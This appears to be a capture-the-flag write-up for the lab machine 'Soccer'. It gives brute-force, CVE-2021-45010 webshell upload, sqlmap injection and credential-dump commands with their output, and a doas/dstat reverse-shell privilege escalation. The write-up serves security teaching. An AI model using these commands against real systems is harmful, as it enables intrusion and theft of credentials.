Soccer writeup
2 May, 2023 00:00 CEST
INDEX
Enumeration
nmap -A -p- -T4 10.10.11.194
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA) | 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA) |_ 256 5797565def793c2fcbdb35fff17c615c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Tue, 02 May 2023 17:47:26 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot GET /</pre> | </body> | </html> | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Tue, 02 May 2023 17:47:26 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.93%I=7%D=5/2%Time=64514CA8%P=x86_64-pc-linux-gnu%r(inf SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\ SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2 SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon SF:tent-Length:\x20139\r\nDate:\x20Tue,\x2002\x20May\x202023\x2017:47:26\x SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang= SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r SF:\nDate:\x20Tue,\x2002\x20May\x202023\x2017:47:26\x20GMT\r\nConnection:\ SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Tue,\x SF:2002\x20May\x202023\x2017:47:26\x20GMT\r\nConnection:\x20close\r\n\r\n< SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\ SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F, SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2 SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
- I open the site and find the software version:
<div class="footer text-center"> —— © <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="2.4.3">CCP Programmers</a> —— </div>
This version is vulnerable to: CVE-2021-45010
To exploit the vulnerability it is necessary to have a valid account, I have no credentials so I do a bruteforce attack:
hydra -l admin -P /usr/share/wordlists/rockyou.txt soccer.htb http-post-form "/tiny/tinyfilemanager.php:fm_usr=admin&fm_pwd=^PASS^:Login failed. Invalid username or password"
Unfortunately I canβt find anything but if I change wordlist in
/usr/share/wordlists/seclist/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt
I can find the password:[80][http-post-form] host: soccer.htb login: admin password: admin@123
Opening the site http://soccer.htb/tiny/tinyfilemanager.php?p=&upload I see that:
Destination Folder: /var/www/html/
Now I can perform the attack:
cve-2021-45010 -u http://soccer.htb/tiny/ -l admin -p admin@123 -g tiny/uploads -r uploads/
PoC for CVE-2021-45010 - Tiny File Manager Version < 2.4.7 [*] Attempting Login: [*] URL : http://soccer.htb/tiny/ [*] Username : admin [*] Password : admin@123 [+] Session Cookie πͺ: q4863ddhm6fhqa6bvpj6pgsqqv [+] Login Success! [+] Vulnerable version detected: 2.4.3 [*] Attempting to Leak Web Root... [+] Got Web Root: /var/www/html/tiny [*] Attempting Webshell Upload: [*] Filename : yllcuaazec.php [*] GUI Path : tiny/uploads [*] Filesystem Path ../../../../../../../../../../../var/www/html/tiny/uploads/yllcuaazec.php [+] Webshell Uploaded! [*] Starting Webshell at: http://soccer.htb/tiny/uploads/yllcuaazec.php [+] Info: Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux [+] User: uid=33(www-data) gid=33(www-data) groups=33(www-data) Type quit to exit
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privesc www-data
find / -user www-data 2>/dev/null
/run/php /run/php/php7.4-fpm.sock /var/lib/nginx/proxy /var/lib/nginx/proxy/7 /var/lib/nginx/proxy/7/00 /var/lib/nginx/proxy/7/01 /var/lib/nginx/proxy/4 /var/lib/nginx/proxy/4/02 /var/lib/nginx/proxy/4/00 /var/lib/nginx/proxy/4/01 /var/lib/nginx/proxy/2 /var/lib/nginx/proxy/2/02 /var/lib/nginx/proxy/2/00 /var/lib/nginx/proxy/2/01 /var/lib/nginx/proxy/8 /var/lib/nginx/proxy/8/00 /var/lib/nginx/proxy/8/01 /var/lib/nginx/proxy/6 /var/lib/nginx/proxy/6/00 /var/lib/nginx/proxy/6/01 /var/lib/nginx/proxy/1 /var/lib/nginx/proxy/1/02 /var/lib/nginx/proxy/1/00 /var/lib/nginx/proxy/1/01 /var/lib/nginx/proxy/0 /var/lib/nginx/proxy/0/02 /var/lib/nginx/proxy/0/01 /var/lib/nginx/proxy/9 /var/lib/nginx/proxy/9/00 /var/lib/nginx/proxy/9/01 /var/lib/nginx/proxy/3 /var/lib/nginx/proxy/3/02 /var/lib/nginx/proxy/3/00 /var/lib/nginx/proxy/3/01 /var/lib/nginx/proxy/5 /var/lib/nginx/proxy/5/00 /var/lib/nginx/proxy/5/01 /var/lib/nginx/scgi /var/lib/nginx/fastcgi /var/lib/nginx/uwsgi /var/lib/nginx/body /var/www/html/tiny/uploads/qkvaywkhoc.php /var/log/nginx/access.log
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false player:x:1001:1001::/home/player:/bin/bash mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false _laurel:x:997:997::/var/log/laurel:/bin/false
- I download and run
linpeas.sh
Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users
ββββββββββββ£ Active Ports β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1122/nginx: worker tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN 1122/nginx: worker tcp6 0 0 :::22 :::* LISTEN -
βββ£ PHP exec extensions drwxr-xr-x 2 root root 4096 Dec 1 13:48 /etc/nginx/sites-enabled lrwxrwxrwx 1 root root 41 Nov 17 08:39 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb server { listen 80; listen [::]:80; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } lrwxrwxrwx 1 root root 34 Nov 17 08:06 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default server { listen 80; listen [::]:80; server_name 0.0.0.0; return 301 http://soccer.htb$request_uri; } server { listen 80; listen [::]:80; server_name soccer.htb; root /var/www/html; index index.html tinyfilemanager.php; location / { try_files $uri $uri/ =404; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } location ~ /\.ht { deny all; } }
ββββββββββββ£ Searching root files in home dirs (limit 30) /home/ /home/player/.viminfo /home/player/user.txt /home/player/.bash_history /root/ /var/www /var/www/html /var/www/html/ground1.jpg /var/www/html/ground4.jpg /var/www/html/football.jpg /var/www/html/ground3.jpg /var/www/html/index.html /var/www/html/tiny /var/www/html/tiny/tinyfilemanager.php /var/www/html/tiny/uploads /var/www/html/ground2.jpg
-
I add
soc-player.soccer.htb
to/etc/hosts
and visit the full site behind reverse proxy.I create an account, log in and see what the site allows me to do.
I am assigned a ticket and I can query some backend which tells me if it exists or not.
From the βNetworkβ tab I donβt see traffic generated at each entry of ticket IDs but only an initial request:
GET ws://soc-player.soccer.htb:9091/
Itβs a WebSocket, I look at the JS source code that does this thing:
<script> var ws = new WebSocket("ws://soc-player.soccer.htb:9091"); window.onload = function () { var btn = document.getElementById('btn'); var input = document.getElementById('id'); ws.onopen = function (e) { console.log('connected to the server') } input.addEventListener('keypress', (e) => { keyOne(e) }); function keyOne(e) { e.stopPropagation(); if (e.keyCode === 13) { e.preventDefault(); sendText(); } } function sendText() { var msg = input.value; if (msg.length > 0) { ws.send(JSON.stringify({ "id": msg })) } else append("????????") } } ws.onmessage = function (e) { append(e.data) } function append(msg) { let p = document.querySelector("p"); // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16); // p.style.color = randomColor; p.textContent = msg } </script>
-
I can use BurpSuite to edit open communication to my liking; since an ID is being checked a backend is probably being queried.
I try to see if I can exploit a SQLI by focusing on the MYSQL DBMS which is most likely installed on the host as port 3306 is open.
Also I can see the MYSQL version with the command:
mysql -V
mysql Ver 8.0.31-0ubuntu0.20.04.2 for Linux on x86_64 ((Ubuntu))
And finally see if it matches the response on the listening port:
curl --http0.9 localhost:3306 > /tmp/out.txt 2>&1
8.0.31-0ubuntu0.20.04.208I{ta#oοΏ½οΏ½οΏ½οΏ½οΏ½0cyOt@-KF>'caching_sha2_password!οΏ½οΏ½#08S01Got packets out of order
Ok, the backend is MYSQL, so if itβs used there might be a SQLI:
sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3
Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: {"id":"-5963 OR 3767=3767"}
sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 --dbs
available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] soccer_db [*] sys
sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 -D soccer_db --tables
[1 table] +----------+ | accounts | +----------+
sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 -D soccer_db -T accounts --columns
[4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | email | varchar(40) | | id | int | | password | varchar(40) | | username | varchar(40) | +----------+-------------+
sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 -D soccer_db -T accounts --dump
[1 entry] +------+-------------------+----------------------+----------+ | id | email | password | username | +------+-------------------+----------------------+----------+ | 1324 | player@player.htb | PlayerOftheMatch2022 | player | +------+-------------------+----------------------+----------+
I got the credentials of the user
player
, being present in/etc/passwd
I try to login with ssh.Bingo!
Privesc player
- I run
linpeas.sh
proc /proc proc defaults,nodev,relatime,hidepid=2
ββββββββββββ£ Searching root files in home dirs (limit 30) /home/ /home/player/.viminfo /home/player/user.txt /home/player/.bash_history /root/ /var/www /var/www/html /var/www/html/ground1.jpg /var/www/html/ground4.jpg /var/www/html/football.jpg /var/www/html/ground3.jpg /var/www/html/index.html /var/www/html/tiny /var/www/html/tiny/tinyfilemanager.php /var/www/html/tiny/uploads /var/www/html/ground2.jpg
ββββββββββββ£ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files /dev/mqueue /dev/shm /home/player /run/lock /run/screen /run/user/1001 /run/user/1001/dbus-1 /run/user/1001/dbus-1/services /run/user/1001/gnupg /run/user/1001/inaccessible /run/user/1001/systemd /run/user/1001/systemd/transient /run/user/1001/systemd/units /snap/core20/1695/run/lock /snap/core20/1695/tmp /snap/core20/1695/var/tmp /tmp /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix #)You_can_write_even_more_files_inside_last_directory /var/crash /var/lib/php/sessions /var/tmp /var/tmp/cloud-init /var/www/html/tiny/uploads
ββββββββββββ£ Interesting GROUP writable files (not in Home) (max 500) β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files Group player: /usr/local/share/dstat
ββββββββββββ£ Executable files potentially added by user (limit 70) 2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit 2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas 2022-11-17+09:09:15.5399067120 /usr/local/bin/doas 2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback 2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh 2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh 2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh
I notice that the
player
group has 777 access to the/usr/local/share/dstat
folder:drwxrwx--- 2 root player 4096 May 4 16:12 dstat
I google what
dstat
is and if there are any exploits: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/I create a
/usr/local/share/dstat/dstat_evil.py
file with a reverse shell inside.I run:
dstat --evil
β I can get a reverse shell but with myplayer
user, I need to see whenroot
executes the command or something that increases the privilege. -
I canβt see the processes, as shown by linpeas, because the file system
/proc
is mounted withhidepid=2
.Back to linpeas output:
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit 2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas 2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
The first two binaries have nothing special while the third one has SETUID enabled, Iβm looking for useful exploits: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/
I check if there is a pre-existing configuration:
/usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
Ok, here is the way to become
root
that was missing, I can get a reverse shell asroot
by recreating thedstat_evil.py
plugin with a reverse shell inside and giving the command:/usr/local/bin/doas /usr/ bin/dstat --evil